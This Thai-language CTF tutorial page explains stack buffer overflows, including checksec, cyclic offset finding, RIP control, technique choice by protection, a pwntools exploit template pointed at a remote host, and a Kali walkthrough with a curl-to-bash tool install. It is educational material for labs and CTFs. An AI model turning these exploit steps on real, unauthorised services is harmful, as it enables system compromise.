Buffer Overflow
Buffer Overflow เป็นรากฐานของ binary exploitation ทั้งหมด — เกิดเมื่อโปรแกรมเขียนข้อมูลเกินขนาด buffer ที่จองไว้ ทับ memory ข้างเคียงรวมถึง return address ที่ควบคุม execution flow บทนี้ลงลึกตั้งแต่กลไก stack, การหา offset แบบละเอียด, การอ่าน checksec, การควบคุม RIP, ไปจนถึงการเลือกเทคนิค exploit ตาม protection พร้อมโค้ดจริงทุกขั้น (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการและกลไก stack
ในภาษา C ตัวแปร local ถูกจองบน stack เมื่อฟังก์ชันถูกเรียก จะมีการ push ข้อมูลตามลำดับ: argument, return address (ที่อยู่ที่จะกลับไปหลังฟังก์ชันจบ), saved RBP, แล้วจองพื้นที่ให้ตัวแปร local (รวม buffer) ปัญหาเกิดเมื่อโปรแกรมรับ input ลง buffer โดยไม่ตรวจความยาว (เช่น gets(), strcpy(), scanf("%s")) — input ที่ยาวเกินจะล้นจาก buffer ขึ้นไปทับ saved RBP และ return address
stack โตจาก address สูงลงต่ำ แต่การเขียน buffer เขียนจาก address ต่ำขึ้นสูง — ดังนั้นการ overflow จาก buffer จึงเขียนทับสิ่งที่อยู่ 'ข้างบน' (address สูงกว่า) ได้แก่ saved RBP และ return address ถ้าเราควบคุม return address ได้ ตอนฟังก์ชัน ret CPU จะ pop ค่านั้นเข้า RIP แล้วกระโดดไป — เท่ากับเราควบคุม execution flow
2. ฟังก์ชันอันตรายที่ทำให้เกิด overflow
| ฟังก์ชัน | ปัญหา | ทางเลือกปลอดภัย |
|---|---|---|
| gets(buf) | ไม่จำกัดความยาวเลย (อันตรายสุด) | fgets(buf, size, stdin) |
| strcpy(dst, src) | copy จนเจอ null ไม่เช็คขนาด dst | strncpy / strlcpy |
| strcat(dst, src) | ต่อ string ไม่เช็คขนาด | strncat |
| sprintf(buf, ...) | เขียนไม่จำกัดขนาด buf | snprintf |
| scanf("%s", buf) | อ่านจนเจอ whitespace ไม่จำกัด | scanf("%63s", buf) |
| memcpy(d, s, n) | ถ้า n ควบคุมได้/ผิด = overflow | ตรวจ n ก่อน |
ใน static analysis (Ghidra/IDA) ให้มองหา call เหล่านี้ — โดยเฉพาะ gets และ strcpy ที่ source ควบคุมได้ มักเป็นจุดที่ตั้งใจทำให้ overflow ในโจทย์ CTF
3. ตรวจ protections ก่อนเสมอ (checksec)
ก่อนเริ่ม exploit ต้องรู้ว่า binary มี mitigation อะไรเปิดอยู่ — มันกำหนดว่าจะใช้เทคนิคไหนได้ checksec (มากับ pwntools หรือ pwndbg/gef) บอกทั้งหมด
checksec ./vuln
# ผลลัพธ์ที่ต้องอ่าน:
# Arch: amd64-64-little
# RELRO: Partial/Full RELRO → Full = GOT overwrite ไม่ได้
# Stack: No canary found → ไม่มี canary = overflow ง่าย
# Canary found → ต้อง leak canary ก่อน
# NX: NX enabled → stack รันโค้ดไม่ได้ → ต้อง ROP/ret2libc
# PIE: No PIE (0x400000) → address คงที่ ใช้ตรงๆ ได้
# PIE enabled → base สุ่ม ต้อง leak
# ดูใน gdb ด้วย (pwndbg/gef)
gdb ./vuln
gef> checksec| protection | ถ้าเปิด ต้องทำอะไร | หัวข้อที่เกี่ยว |
|---|---|---|
| No canary + No NX + No PIE | ง่ายสุด: ret2shellcode/ret2win | stack-overflow |
| NX enabled | ใช้ ROP / ret2libc (code reuse) | nx, rop, ret2libc |
| Canary found | leak canary ก่อน (format string/partial) | format-string |
| PIE enabled | leak address → คำนวณ base | pie, aslr |
| Full RELRO | overwrite GOT ไม่ได้ → หาทางอื่น | got-overwrite |
4. หา offset — ระยะถึง return address
หัวใจของ buffer overflow คือรู้ว่าต้องเขียนกี่ byte ถึงจะถึง return address พอดี — เรียกว่า offset วิธีที่แม่นและเร็วสุดคือใช้ cyclic pattern (De Bruijn sequence) ที่ทุก substring ไม่ซ้ำกัน ทำให้ดูจากค่าที่ crash ย้อนกลับเป็น offset ได้ทันที
# 1. สร้าง cyclic pattern
python3 -c "from pwn import *; print(cyclic(200).decode())"
# หรือใน gef: pattern create 200
# 2. รันใน gdb แล้วป้อน pattern ให้ crash
gdb ./vuln
gef> run
# (วาง pattern เมื่อโปรแกรมรับ input)
# 3. ดูค่าใน RSP ตอน crash (มักเป็น pattern ที่ทับ return addr)
gef> x/wx $rsp
# เช่นได้ 0x6161616c
# 4. หา offset จากค่านั้น
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# หรือ gef: pattern search 0x6161616c
# ได้ offset เช่น 72 = ต้องเขียน 72 byte ถึงจะถึง return addresscyclic_find กับ 8 byte แรกที่อยู่ใน RSP หา offset ที่แม่นยำ5. ยืนยันการควบคุม RIP
from pwn import *
p = process('./vuln')
offset = 72 # จาก cyclic_find
# ส่ง A*offset + ค่าทดสอบที่จำง่าย (BBBBBBBB)
payload = b'A' * offset + b'BBBBBBBB'
p.sendline(payload)
p.wait()
# ดู core dump / gdb: ถ้า RIP = 0x4242424242424242 = คุมได้!
# core = p.corefile; print(hex(core.rip))6. เลือกเส้นทาง exploit ตาม protection
- 1No NX + มีฟังก์ชัน win: ret2win — ชี้ return addr ไปฟังก์ชันนั้น (ดู stack-overflow)
- 2No NX + ไม่มี win: ret2shellcode — วาง shellcode บน stack แล้วชี้ไป
- 3NX enabled: ret2libc — กระโดดไป system("/bin/sh") ใน libc (ดู ret2libc)
- 4NX + ต้องจัด register/syscall: ROP chain (ดู rop)
- 5Canary: leak canary ก่อนแล้วใส่กลับใน payload (ดู format-string)
- 6PIE: leak address ในตัว binary → คำนวณ base ก่อน (ดู pie)
- 7ASLR (libc สุ่ม): leak libc address → คำนวณ (ดู aslr)
from pwn import *
elf = context.binary = ELF('./vuln')
# p = process('./vuln') # local
p = remote('target.com', 1337) # remote
offset = 72
# payload = padding + (canary ถ้ามี) + saved_rbp + return_target
payload = b'A' * offset
payload += p64(target_address) # เช่น win function / ROP chain / ret2libc
p.sendline(payload)
p.interactive() # รับ shell ถ้าสำเร็จ7. Quick Reference
- เกิดจากเขียนเกิน buffer (gets/strcpy/scanf %s) → ทับ return address
- ขั้นแรกเสมอ: checksec ./vuln (Canary/NX/PIE/RELRO)
- หา offset: cyclic(200) → crash → cyclic_find(ค่าใน RSP)
- ยืนยันคุม RIP: A*offset + 'BBBBBBBB' → RIP=0x4242...
- No NX → ret2win/ret2shellcode; NX → ret2libc/ROP
- Canary → leak ก่อน; PIE → leak base; ASLR → leak libc
- exploit: pwntools ELF() + p64(target) + interactive()
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ไฟล์โจทย์ pwn มา มีแค่ Kali เปล่าๆ ยังไม่รู้ด้วยซ้ำว่าช่องโหว่คืออะไร — ทำตามนี้ทีละขั้น อย่าข้าม ทุกขั้นมีคำสั่งจริงพิมพ์ได้เลย
- 1
file ./vulnดู arch (32/64-bit) แล้วchecksec ./vulnดู Canary/NX/PIE/RELRO — จำค่าไว้ทั้งหมด - 2ลองส่ง input ยาวๆ ดูว่า crash ไหม:
python3 -c "print('A'*300)" | ./vulnหรือรันแล้วพิมพ์มือ - 3ถ้า crash (Segmentation fault) เปิด
gdb ./vulnแล้วสร้าง cyclic pattern:gef> pattern create 200 - 4
gef> runแล้ววาง pattern ลงช่อง input ที่โปรแกรมถาม รอจน crash - 5ดูค่าตอน crash:
gef> x/wx $rspหรือดู RIP ตรงๆ (gef แสดงให้อัตโนมัติ) - 6หา offset:
gef> pattern search <ค่าที่เห็น>หรือ python3:cyclic_find(0x6161616c) - 7ยืนยันคุม RIP: ส่ง
b'A'*offset + b'BBBBBBBB'แล้วเช็คว่า RIP = 0x4242424242424242 - 8กลับไปดู checksec อีกรอบ แล้วตัดสินใจเทคนิคตาม flow ด้านล่าง (NX? PIE? Canary?)
- 9เขียน exploit ด้วย pwntools:
elf = ELF('./vuln'); p = process('./vuln')ก่อนค่อยเปลี่ยนเป็นremote(host, port) - 10ทดสอบ local ให้ได้ shell ก่อนเสมอ แล้วค่อยยิงใส่ remote
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดู protection | checksec | pipx install checksec.py (ถ้าไม่มีตัว binary) | - |
| debug/หา offset | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| สร้าง cyclic pattern | pwntools (python3) | pipx install pwntools | - |
| เขียน exploit | pwntools | pip install pwntools | - |
| หา ROP gadget | ROPgadget / ropper | pip install ropper | ropshell.com |
| ดู static analysis เพิ่ม | radare2 | apt install radare2 | dogbolt.org (decompiler เทียบหลายตัว) |
| encode/decode payload | python3 -c | - | CyberChef |
| อ่านทฤษฎี ABI/stack | man pages | - | wiki.osdev.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้